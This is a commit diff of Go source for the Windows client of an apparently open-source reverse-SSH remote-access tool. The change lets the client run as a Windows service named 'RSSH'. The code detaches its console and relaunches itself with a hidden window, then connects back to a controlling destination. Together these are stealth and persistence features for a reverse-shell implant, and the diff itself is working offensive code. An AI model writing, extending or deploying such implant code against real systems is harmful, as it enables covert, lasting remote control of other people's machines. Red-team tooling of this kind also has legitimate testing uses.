|
3 | 3 | package main
|
4 | 4 |
|
5 | 5 | import (
|
| 6 | + "fmt" |
6 | 7 | "log"
|
7 | 8 | "os"
|
8 | 9 | "os/exec"
|
9 | 10 | "syscall"
|
| 11 | + "time" |
10 | 12 |
|
11 | 13 | "github.com/NHAS/reverse_ssh/internal/client"
|
| 14 | + "golang.org/x/sys/windows/svc" |
| 15 | + "golang.org/x/sys/windows/svc/debug" |
| 16 | + "golang.org/x/sys/windows/svc/eventlog" |
12 | 17 | )
|
13 | 18 |
|
14 | 19 | func Fork(destination, fingerprint, proxyaddress string) error {
|
15 |
| - log.Println("Forking") |
16 | 20 |
|
17 |
| - modkernel32 := syscall.NewLazyDLL("kernel32.dll") |
18 |
| - procAttachConsole := modkernel32.NewProc("FreeConsole") |
19 |
| - syscall.Syscall(procAttachConsole.Addr(), 0, 0, 0, 0) |
| 21 | + inService, err := svc.IsWindowsService() |
| 22 | + if err != nil { |
| 23 | + log.Fatalf("failed to determine if we are running in service: %v", err) |
| 24 | + } |
| 25 | + |
| 26 | + if !inService { |
| 27 | + |
| 28 | + log.Println("Forking") |
| 29 | + |
| 30 | + modkernel32 := syscall.NewLazyDLL("kernel32.dll") |
| 31 | + procAttachConsole := modkernel32.NewProc("FreeConsole") |
| 32 | + syscall.Syscall(procAttachConsole.Addr(), 0, 0, 0, 0) |
20 | 33 |
|
21 |
| - path, _ := os.Executable() |
| 34 | + path, _ := os.Executable() |
22 | 35 |
|
23 |
| - cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...) |
24 |
| - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} |
25 |
| - err := cmd.Start() |
| 36 | + cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...) |
| 37 | + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} |
| 38 | + err = cmd.Start() |
26 | 39 |
|
27 |
| - if cmd.Process != nil { |
28 |
| - cmd.Process.Release() |
| 40 | + if cmd.Process != nil { |
| 41 | + cmd.Process.Release() |
| 42 | + } |
| 43 | + return nil |
29 | 44 | }
|
30 | 45 |
|
| 46 | + runService("RSSH", destination, fingerprint, proxyaddress) |
| 47 | + |
31 | 48 | return err
|
32 | 49 | }
|
33 | 50 |
|
| 51 | +var elog debug.Log |
| 52 | + |
| 53 | +type rsshService struct { |
| 54 | + Dest, Fingerprint, Proxy string |
| 55 | +} |
| 56 | + |
| 57 | +func runService(name, destination, fingerprint, proxyaddress string) { |
| 58 | + var err error |
| 59 | + |
| 60 | + elog, err := eventlog.Open(name) |
| 61 | + if err != nil { |
| 62 | + return |
| 63 | + } |
| 64 | + |
| 65 | + defer elog.Close() |
| 66 | + |
| 67 | + elog.Info(1, fmt.Sprintf("starting %s service", name)) |
| 68 | + err = svc.Run(name, &rsshService{ |
| 69 | + destination, |
| 70 | + fingerprint, |
| 71 | + proxyaddress, |
| 72 | + }) |
| 73 | + if err != nil { |
| 74 | + elog.Error(1, fmt.Sprintf("%s service failed: %v", name, err)) |
| 75 | + return |
| 76 | + } |
| 77 | + elog.Info(1, fmt.Sprintf("%s service stopped", name)) |
| 78 | +} |
| 79 | + |
| 80 | +func (m *rsshService) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) { |
| 81 | + const cmdsAccepted = svc.AcceptStop | svc.AcceptShutdown |
| 82 | + changes <- svc.Status{State: svc.StartPending} |
| 83 | + go Run(m.Dest, m.Fingerprint, m.Proxy) |
| 84 | + changes <- svc.Status{State: svc.Running, Accepts: cmdsAccepted} |
| 85 | + |
| 86 | + for c := range r { |
| 87 | + switch c.Cmd { |
| 88 | + case svc.Interrogate: |
| 89 | + changes <- c.CurrentStatus |
| 90 | + // Testing deadlock from https://code.google.com/p/winsvc/issues/detail?id=4 |
| 91 | + time.Sleep(100 * time.Millisecond) |
| 92 | + changes <- c.CurrentStatus |
| 93 | + case svc.Stop, svc.Shutdown: |
| 94 | + break |
| 95 | + default: |
| 96 | + elog.Error(1, fmt.Sprintf("unexpected control request #%d", c)) |
| 97 | + } |
| 98 | + } |
| 99 | + |
| 100 | + changes <- svc.Status{State: svc.StopPending} |
| 101 | + return |
| 102 | +} |
| 103 | + |
34 | 104 | func Run(destination, fingerprint, proxyaddress string) {
|
35 |
| - client.Run(destination, fingerprint, proxyaddress) |
| 105 | + |
| 106 | + inService, err := svc.IsWindowsService() |
| 107 | + if err != nil { |
| 108 | + log.Fatalf("failed to determine if we are running in service: %v", err) |
| 109 | + } |
| 110 | + |
| 111 | + if !inService { |
| 112 | + |
| 113 | + client.Run(destination, fingerprint, proxyaddress) |
| 114 | + return |
| 115 | + } |
| 116 | + |
| 117 | + runService("rssh", destination, fingerprint, proxyaddress) |
| 118 | + |
36 | 119 | }
|
0 commit comments